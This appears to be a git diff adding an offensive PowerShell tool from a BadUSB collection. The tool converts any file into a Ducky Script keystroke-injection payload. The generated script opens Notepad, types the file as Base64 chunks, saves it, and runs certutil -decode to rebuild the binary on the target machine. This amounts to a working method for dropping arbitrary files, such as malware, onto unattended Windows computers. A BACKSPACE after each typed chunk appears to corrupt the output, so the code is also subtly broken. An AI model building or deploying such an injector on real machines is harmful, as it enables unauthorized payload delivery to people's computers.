Work in progress :)

BadUSB/Ducky Script Powershell/Offensive/Create-Bin2B64DuckyScript.ps1

@@ -0,0 +1,88 @@
+# PowerShell script to convert file content to Base64, generate Ducky Script to open Notepad, type content, save, and decode it
+
+param (
+    [Parameter(Mandatory=$true)]
+    [string]$FilePath,
+    
+    [int]$ChunkSize = 500 # Default chunk size, adjustable via command line
+)
+
+function Write-DuckyScript {
+    param (
+        [string]$OutputPath,
+        [string[]]$Content
+    )
+    
+    try {
+        [System.IO.File]::WriteAllLines($OutputPath, $Content)
+        Write-Host "Ducky Script saved to: $OutputPath"
+    } catch {
+        Write-Error "Failed to save Ducky Script: $_"
+    }
+}
+
+# Ensure the file exists
+if (-Not (Test-Path $FilePath)) {
+    Write-Error "File not found: $FilePath"
+    exit
+}
+
+# Read the file bytes
+$fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
+
+# Convert to Base64
+$base64String = [Convert]::ToBase64String($fileBytes)
+
+# Generate the output file name for the .b64 file and original decoded file
+$InputFileName = [System.IO.Path]::GetFileNameWithoutExtension($FilePath)
+$InputFileExtension = [System.IO.Path]::GetExtension($FilePath)
+$B64FileName = "$InputFileName.b64"
+$OriginalFileName = "$InputFileName$InputFileExtension"
+
+# Determine the current working directory to save the Ducky Script
+$CurrentDirectory = Get-Location
+$OutputFileName = "Create-$InputFileName.txt"
+$OutputFilePath = Join-Path -Path $CurrentDirectory -ChildPath $OutputFileName
+
+# Initialize Ducky Script content with commands to open Notepad
+$duckyScriptContent = @(
+    "DELAY 1000",
+    "GUI r",
+    "DELAY 500",
+    "STRING notepad",
+    "ENTER",
+    "DELAY 1000"
+)
+
+# Add the Base64 content to the Ducky Script
+$chunks = [Regex]::Matches($base64String, ".{1,$ChunkSize}")
+foreach ($chunk in $chunks) {
+    $duckyScriptContent += "STRING $chunk"
+    $duckyScriptContent += "DELAY 50"
+    $duckyScriptContent += "BACKSPACE"
+    $duckyScriptContent += "DELAY 100"
+}
+
+# Append commands to save the file in Notepad
+$duckyScriptContent += "CTRL s"
+$duckyScriptContent += "DELAY 500"
+$duckyScriptContent += "STRING %USERPROFILE%\\$B64FileName"
+$duckyScriptContent += "ENTER"
+$duckyScriptContent += "DELAY 1000"
+$duckyScriptContent += "ALT F4"
+
+# Append commands to open Command Prompt and execute certutil
+$duckyScriptContent += "DELAY 1000"
+$duckyScriptContent += "GUI r"
+$duckyScriptContent += "DELAY 500"
+$duckyScriptContent += "STRING cmd"
+$duckyScriptContent += "ENTER"
+$duckyScriptContent += "DELAY 1000"
+$duckyScriptContent += "STRING certutil -decode %USERPROFILE%\\$B64FileName %USERPROFILE%\\$OriginalFileName"
+$duckyScriptContent += "ENTER"
+$duckyScriptContent += "DELAY 1000"
+$duckyScriptContent += "STRING exit"
+$duckyScriptContent += "ENTER"
+
+# Save the Ducky Script to the output file
+Write-DuckyScript -OutputPath $OutputFilePath -Content $duckyScriptContent